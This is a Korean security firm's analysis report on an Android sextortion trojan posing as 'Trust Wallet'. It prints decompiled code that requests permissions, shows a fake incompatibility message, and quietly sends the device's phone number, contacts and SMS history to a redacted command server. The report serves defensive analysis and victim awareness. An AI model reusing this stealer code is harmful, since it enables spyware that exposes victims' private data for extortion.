안녕하세요, 팀카시아입니다.
갈수록 진화되는 사이버 범죄 특히, 몸캠피싱 범죄는 사람들에게 인격적으로 되돌릴 수 없는 고통을 안겨줍니다.
몸캠피싱 가해자들은 피해자를 악성 앱으로 유도하여 정보를 빼내는 수법을 사용하는데요.
저희 팀카시아는 이러한 몸캠피싱 악성 앱을 꾸준히 분석하여 사이버 범죄에 대한 전문성을 기르고 있습니다.
팀카시아는 몸캠피싱 악성 앱 분석 보고서를 작성하여 몸캠피싱 악성 앱에 대한 정보를 공유해 드리고자 합니다.
앞으로 많은 관심 부탁드립니다.
목차
01. 개요
1.1 수행 인력
1.2 수행 환경
1.3 수행 대상
02. 진단 상세
2.1 위험도 평가 기준
03. 분석 결과 요약
3.1 악성 행위 개요
3.2 악성 행위 요약
3.3 유의사항
04. 분석 결과 상세
4.1 정적 분석
4.2 동적 분석
01. 개요
1.1. 수행 인력
악성앱 분석을 수행한 인력은 다음과 같다.
소속 | 성명 | 직급 | 업무 | 연락처 | 이메일 |
팀카시아 | 비공개 | 비공개 | 악성 앱 분석 | 비공개 | 비공개 |
1.2. 수행 환경
악성코드 분석을 수행한 환경은 다음과 같다.
구분 | 수행원 | 환경 | IP | 진단 위치 |
PC | 비공개 | Windows 11, OSX Ventura | 비공개 | VPN |
1.3. 수행 대상
악성코드 분석을 수행한 대상은 다음과 같다.
No | 구분 | 대상 명 | 패키지 명 | 플랫폼 | 비고 |
1 | 모바일 | 09092605fmlu.apk | com.nong.secret | Android | - |
No | MD5 해시 |
1 | 03232f8b94706fe2d9ee63f0a5afaad8 |
02. 진단 상세
2.1. 위험도 평가 기준
위험도는 평가항목에 해당되는 악성 행위에 대해 위험을 가늠할 수 있도록 5단으로 분류했다.
위험도 | 주요 내용 | 등급 |
5 | 가용성에 직접적인 영향 중요 정보(연락처, 사진 등) 노출 단말 제어 권한 획득으로 임의 조작 가능 | 상 (High) |
4 | 사용자 권한 획득 다른 동작과 연계될 경우 가용성에 직접적인 영향 다른 동작과 연계될 경우 단말기 관리자 권한 획득 등 | |
3 | 다른 동작과 연계될 경우 시스템 사용자 또는 앱 사용자 권한 획득 등 다른 동작과 연계될 경우 중요 정보 유출 가능성 있음 가용성에 간접적인 영향 등 | 중 (Medium) |
2 | 추가적인 공격에 활용 가능한 단말 및 사용자 정보 유출 다른 동작과 연계될 경우 가용성에 간접적인 영향 등 | 하 (Low) |
1 | 공격과 직접적인 연관은 없으나 불필요한 정보 등이 공격자 서버에 유출 단말기에 관한 일반 정보 유출 등 |
03. 분석 결과 요약
3.1. 악성 행위 개요
코틀린(Kotlin)으로 작성된 트러스트월렛.apk 악성앱 파일은 사용자의 데이터를 타겟으로 하는 트로이 목마 악성코드다.
악성 앱 실행 시 단말의 전화번호, 사용자 연락처에 저장된 정보, 수발신 문자 목록 등을 C&C 서버로 전송한다.

앱 악성 행위 개요도
3.2. 악성행위 요약
도출한 악성행위는 다음과 같다.
대상 | 순번 | 악성행위 분석 | 위험도 |
트러스트 월렛 (com.nong.secret) | 1 | 연락처 목록 전체 유출 | 5 |
2 | 문자(SMS) 기록 전체 유출 | 5 | |
3 | 단말 전화번호 유출 | 3 |
3.3. 유의사항
본 분석은 당사에서 수집한 악성 APK 샘플에서 수행되었다. 분석을 위한 참조 자료로만 활용되어야 하며, 악성코드 제작 등의 용도로 악용을 금지한다.
본 자료의 전체 혹은 일부를 팀카시아의 허락을 받지 않고, 무단 개제, 복사 배포 등의 행위는 엄격히 금지한다.
이를 어길 시 민형사상의 손해배상에 처해질 수 있다.
04. 분석 결과 상세
4.1. 정적분석
4.1.1. 권한 분석
앱에서 민감 정보 등 제한된 데이터에 접근하거나 다른 앱에도 영향을 끼칠 만큼 중요한 작업을 실행할 수 있는 권한이 선언되었다.
위험 권한이 허용된 경우 잠재적인 민감 정보가 포함된 데이터를 앱에서 접근할 수 있으며 앱에서 접근하는 사용자 데이터는 연락처 및 문자(SMS) 등이 있다. 접근하는 권한 및 위험 권한의 상세 목록은 아래와 같다.

AndroidManifest.xml 내 권한 선언
No | 요청 권한 | 권한 설명 | 중요 권한 여부 |
1 | android.hardware.telephony | 전화 기능 포함 단말만 실행 | N |
2 | android.permission.INTERNET | 인터넷 접근 | N |
3 | 문자(SMS) 읽기 | Y | |
4 | android.permission.READ_CONTACTS | 연락처 읽기 | Y |
5 | android.permission.READ_PHONE_STATE | 단말 전화번호 읽기 | Y |
6 | com.nong.secret.DYNAMIC_RECEIVER_NOT EXPORTEDPERMISSION | 개발자 임의 생성 권한 | - |
* 중요 권한 여부는 안드로이드 공식 문서 기준
4.1.2. 선언 컴포넌트
앱에 선언된 컴포넌트와 액티비티는 다음과 같다. 액티비티는 앱의 화면 단위이며 사용자와 상호작용하는 뷰와 클래스 코드로 구성되어 있다.

디컴파일 소스코드 내 액티비티 확인
No | 액티비티 | 비고 |
1 | com.nong.secret.MainActivity | 메인 액티비티 |
2 | com.nong.secret.MainActivity$$ExternalSyntheticLambda0 | - |
3 | com.nong.secret.Api.myAddressBook | 연락처 수집 |
4 | com.nong.secret.Api.myDevice | 단말 정보 수집 |
5 | com.nong.secret.Api.mySms | 문자 정보 수집 |
앱에 선언된 서비스는 없다. 서비스는 사용자가 인지하지 못한 상태로 포그라운드 또는 백그라운드에서 동작하면서 동작을 수행할 수 있다.
No | 서비스 | 비고 |
1 | (선언된 서비스 없음) | - |
4.2. 동적 분석
4.2.1. 일반 실행 분석
메인 액티비티는 앱 설치 후 앱 목록에서 클릭을 통해 앱을 실행시켰을 때 가장 먼저 실행되는 액티비티로 앱 분석의 시작점이 될 수 있다.
메타데이터 파일(AndroidManifest.xml) 분석 결과 메인 액티비티는 “com.nong.secret.MainActivity” 이며,
액티비티 생명주기에 따라 onCreate() 콜백 함수가 가장 먼저 실행되므로 해당 함수부터 분석했다.

메인 액티비티 분석
// onCreate() 함수 @Override // androidx.fragment.app.FragmentActivity protected void onCreate(Bundle bundle0) { super.onCreate(bundle0); this.setContentView(layout.activity_main); PackageManager packageManager0 = this.getPackageManager(); String[] arr_s = this.permissions; PermissionInfo permissionInfo0 = null; for(int v = 0; v < arr_s.length; ++v) { String s = arr_s[v]; try { permissionInfo0 = packageManager0.getPermissionInfo(s, 0); } catch(PackageManager.NameNotFoundException packageManager$NameNotFoundException0) { packageManager$NameNotFoundException0.printStackTrace(); } permissionInfo0.loadLabel(packageManager0); if(ContextCompat.checkSelfPermission(this, s) != 0 && !ActivityCompat.shouldShowRequestPermissionRationale(this, s)) { ActivityCompat.requestPermissions(this, this.permissions, 1000); } } ((Button)this.findViewById(id.button)).setOnClickListener((View view0) -> { if(this.checkPermissionAllGranted(this.permissions)) { this.showProgressDialog("", "기기가 이 버전과 호환되지 않습니다."); new getInfoData(this).start(); return; } Toast.makeText(this, "해당 권한을 허용해주세요!", 1).show(); this.openSetting(); }); } |
Step 1. 앱 실행에 필요한 권한 요청
앱 실행 및 악성 행위를 수행하기 전에 단말에 필요한 권한을 요청했다. permissionInfo0 = packageManager0.getPermissionInfo(s, 0);
구문을 통해 권한을 획득하며 요청하고 있는 권한은 아래와 같다.

요청 권한 목록
권한명 | 설명 | 비고 |
android.permission.READ_PHONE_STATE | 단말 전화번호 획득 가능 권한 | - |
android.permission.READ_CONTACTS | 연락처 목록 접근 권한 | - |
문자(SMS) 접근 권한 | - |
앱 실행 시 필요 권한 요청(연락처, 전화 걸기, 문자)
// onCreate() 함수 ((Button)this.findViewById(id.button)).setOnClickListener((View view0) -> { if(this.checkPermissionAllGranted(this.permissions)) { this.showProgressDialog("", "기기가 이 버전과 호환되지 않습니다."); new getInfoData(this).start(); return; } |
단말 사용자에게 권한 허용을 요청하며, 권한을 모두 허용하는 경우 “기기가 이 버전과 호환되지 않습니다.” 라는 화면을 표시하며 악성 행위를 시작한다.
앱에서 요청하는 권한을 허용하지 않는 경우 “해당 권한을 허용해 주세요!” 메시지를 띄웠다.



권한 요청 후 앱 메인 화면 내 버튼
Step 2. 스레드(thread) 실행
권한 획득에 성공한 경우 getInfoData 클래스를 객체를 생성했다. getInfoData 클래스는 스레드(thread) 클래스를 상속받는 하위 클래스이며,
start() 함수를 호출하면 하위 스레드 내에 run() 함수를 오버라이드한다. 따라서 run() 함수가 클래스의 처음 실행 지점이다.
스레드 객체를 생성한 이후 start() 함수로 스레드의 run() 함수를 실행한다.
앱 코드를 스레드로 동작하도록 작성한 경우 메인 함수의 흐름이나 앱 화면 실행에 영향 없이 동시에 실행 가능한 추가적인 실행 흐름을 생성한다.
앱 화면에 영향을 끼치지 않기 때문에 피해자가 인지하지 못한 상태에서의 악성 행위를 하는 코드의 실행이 가능하다.
// com.nong.secret.MainActivity.class class getInfoData extends Thread { @Override public void run() { MainActivity.this.getDeviceInfo(); MainActivity.this.getAddressBook(); MainActivity.this.getSms(); String s = Tool.toJsonString(MainActivity.this.myDevice); MainActivity.this.postData(s, 5); String s1 = Tool.toJsonString(MainActivity.this.myAddressBook); MainActivity.this.postData(s1, 6); String s2 = Tool.toJsonString(MainActivity.this.mySms); MainActivity.this.postData(s2, 7); } } |
run() 함수는 각각의 정보를 수집하는 함수를 호출하며, postData() 함수를 이용하여 공격자 서버로 수집한 정보를 전송한다.
함수 별 수집하는 정보는 다음과 같다.
함수명 | 악성 행위 | 과정 상세 |
this.getDeviceInfo() | 단말 전화번호 정보 등 수집 | Step 3. |
this.getAddressBook() | 연락처 목록 접근 및 수집 | Step 4. |
this.getSms() | 문자(SMS) 송수신 내역 접근 및 수집 | Step 5. |
Step 3. 악성행위 1 – 단말 전화번호 정보 수집
run() 함수에서 호출하는 getDeviceInfo() 함수를 분석한 결과는 다음과 같다.
// com.nong.secret.MainActivity.class private void getDeviceInfo() { String s = Settings.Secure.getString(this.getContentResolver(), "android_id"); this.myDevice.setAid(s); this.myDevice.setType(1); com.nong.secret.Api.myDevice.ContentBean myDevice$ContentBean0 = new com.nong.secret.Api.myDevice.ContentBean(); this.myDevice.setContent(myDevice$ContentBean0); myDevice$ContentBean0.setModel(Build.MANUFACTURER + "-" + Build.MODEL); myDevice$ContentBean0.setSimState(((TelephonyManager)this.getSystemService("phone")).getSimState() + ""); myDevice$ContentBean0.setTel(((TelephonyManager)this.getSystemService("phone")).getLine1Number()); } |
Settings.Secure.getString(this.getContentResolver(), "android_id")를 통해
안드로이드 설정에서 단말기 별로 부여되는 고유 식별자(ID)를 가져온다.
Android 8.0(Oreo) 미만 버전의 경우 공장 초기화를 하지 않는 이상 변하지 않는 고윳값이지만, Android 8.0부터 앱 서명키 별로 범위가 지정된다.
피해자 단말의 버전에 상관없이 공격자 서버로 값을 전송했을 때 피해 단말을 고유하게 식별하는 용도로 사용 가능한 값이다.
com.nong.secret.Api.myDevice.ContentBean은 공격자가 생성한 데이터 객체 형식이며, 단말에서 수집한 다양한 정보를 저장한다.
수집하는 정보는 다음과 같다.
함수명 | 수집 정보 |
Build.MANUFACTURER | 단말 제조사 |
Build.MODEL | 단말 모델명 |
getSimState() | SIM 카드 상태(통화 가능 여부) |
getLine1Number() | 단말 전화번호 |
실제 단말에 설치된 앱에서 공격자의 서버로 전송하는 패킷을 분석한 결과는 다음과 같다.
Step 4. 악성행위 2 – 단말 연락처 정보 수집
run() 함수에서 호출하는 getAddressBook() 함수를 분석한 결과는 다음과 같다.
// com.nong.secret.MainActivity.class private void getAddressBook() { this.myAddressBook.setAid(this.myDevice.getAid()); this.myAddressBook.setType(2); List list0 = myAddressBook.getContacts(this); this.myAddressBook.setContent(list0); for(Object object0: list0) { String s = Pattern.compile("[\n`~!@#$%^&*()+=|{}\':;\',\\[\\].<>/?~!@#¥%……&*()——+|{}【】‘;:”“’。, 、?]").matcher(((ContentBean)object0).getPhone()).replaceAll("").trim(); String s1 = Pattern.compile("[^(0-9)]").matcher(s).replaceAll("").trim(); String s2 = ((ContentBean)object0).getName(); this.phoneMap.put(s1, s2); } } |
단말의 연락처에 접근하여 저장된 모든 연락처 정보를 가져온다.
연락처에 저장된 이름과 전화번호를 수집하며, 정규 표현식을 이용하여 전송 시 에러가 발생하지 않도록 문자열을 변경하고 있다.
Step 5. 악성행위 3 – 단말 문자(SMS) 정보 수집
run() 함수에서 호출하는 getSms() 함수를 분석한 결과는 다음과 같다.
// com.nong.secret.MainActivity.class private void getSms() { this.mySms.setAid(this.myDevice.getAid()); this.mySms.setType(3); try { Uri uri0 = Uri.parse("content://sms/"); Cursor cursor0 = this.getContentResolver().query(uri0, new String[]{"_id", "address", "person", "body", "date", "type"}, null, null, "date desc"); if(cursor0 != null) { while(cursor0.moveToNext()) { com.nong.secret.Api.mySms.ContentBean mySms$ContentBean0 = new com.nong.secret.Api.mySms.ContentBean(); String s = cursor0.getString(cursor0.getColumnIndex("type")); String s1 = cursor0.getString(cursor0.getColumnIndex("address")); String s2 = (String)this.phoneMap.get(s1); if(s2 == null) { s2 = "No name"; } String s3 = cursor0.getString(cursor0.getColumnIndex("body")); String s4 = cursor0.getString(cursor0.getColumnIndex("date")); mySms$ContentBean0.setDate(new SimpleDateFormat("yyyy-MM-dd hh:mm:ss").format(new Date(Long.parseLong(s4)))); mySms$ContentBean0.setName(s2); mySms$ContentBean0.setPhone(s1); mySms$ContentBean0.setSmsbody(s3); mySms$ContentBean0.setType(s); this.mySms.getContent().add(mySms$ContentBean0); } cursor0.close(); return; } } catch(Exception exception0) { exception0.printStackTrace(); return; } } |
콘텐터 프로바이더(Content Provider)를 이용하여 메시지에 접근한다.
this.getContentResolver().query(uri0, new String[]{"_id", "address", "person", "body", "date", "type"}, null, null, "date desc");
구문을 이용하여 문자 수신함에 접근하며, 보낸 사람 병, 문자 내용, 수발신 날짜 등 접근 가능한 정보에 접근하고 있다.
목록에 있는 모든 문자에 대해서 동일한 정보를 수집한다.
Step 6. 악성행위4 - 수집한 정보 공격자 서버로 전송
Step 3. ~ Step 5.에 걸쳐 수집한 데이터를 공격자 서버로 전송한다.
// com.nong.secret.MainActivity.class class getInfoData extends Thread { @Override public void run() { MainActivity.this.getDeviceInfo(); //Step 3. 분석완료 MainActivity.this.getAddressBook(); //Step 4. 분석완료 MainActivity.this.getSms(); //Step 5. 분석완료 String s = Tool.toJsonString(MainActivity.this.myDevice); MainActivity.this.postData(s, 5); String s1 = Tool.toJsonString(MainActivity.this.myAddressBook); MainActivity.this.postData(s1, 6); String s2 = Tool.toJsonString(MainActivity.this.mySms); MainActivity.this.postData(s2, 7); } } |
각 단계에서 수집한 정보는 문자열을 가공하여 웹서버로 전송하기 위해 json 자료형으로 변환한다.
변환 후에는 정보 전송을 위해 postData() 함수를 호출한다. postData() 함수의 내용은 아래와 같다.
// com.nong.secret.MainActivity.class private void postData(String s, int v) { RequestBody requestBody0 = RequestBody.create(MainActivity.JSON, s); Request request0 = new Builder().url("https://비공개").post(requestBody0).build(); Call call0 = new OkHttpClient().newCall(request0); try { Response response0 = this.client.newCall(request0).execute(); if(response0 != null) { response0.close(); } } catch(IOException iOException0) { iOException0.printStackTrace(); } call0.enqueue(new Callback() { @Override // okhttp3.Callback public void onFailure(Call call0, IOException iOException0) { } @Override // okhttp3.Callback public void onResponse(Call call0, Response response0) throws IOException { } }); } |
인자로 받은 문자열을 HTTP Post 요청의 본문(body)에 추가하고 공격자의 서버로 전송한다. 식별된 공격자의 서버 정보는 다음과 같다.
C&C 도메인(주소) | 국가/지역 |
비공개 | IP: 비공개 국가: 대한민국 |
![]() | |
Step 7. 악성행위 5 – 수집한 단말 전화번호 정보 전송
Step 3. 에서 수집한 단말의 정보를 공격자의 서버로 전송한다.

수집한 단말 정보를 공격자의 서버로 전송하는 패킷
Step 8. 악성행위 6 – 수집한 연락처 정보 전송
Step 4. 에서 수집한 단말에 저장된 연락처 정보를 공격자의 서버로 전송한다.

연락처 전송 패킷
Step 9. 악성행위 7 – 수집한 문자(SMS) 내역 전송
Step 5. 에서 수집한 단말에 저장된 문자 송수신 내역을 공격자의 서버로 전송한다.

저장된 문자(SMS) 전송 패킷
몸캠피싱 악성 앱 [트러스트 월렛] 분석을 마치며, 낯선 이가 공유하는 앱을 함부로 다운받지 않도록 당부 말씀드립니다.
이상, 사이버 범죄 몸캠피싱 대응 전문 기업 팀카시아였습니다.
도움이 필요하시면 언제든 연락 바랍니다.
PERSONALITY GUARDIAN
"고객님의 소중한 인격을 몸캠피싱으로부터 지키겠습니다."

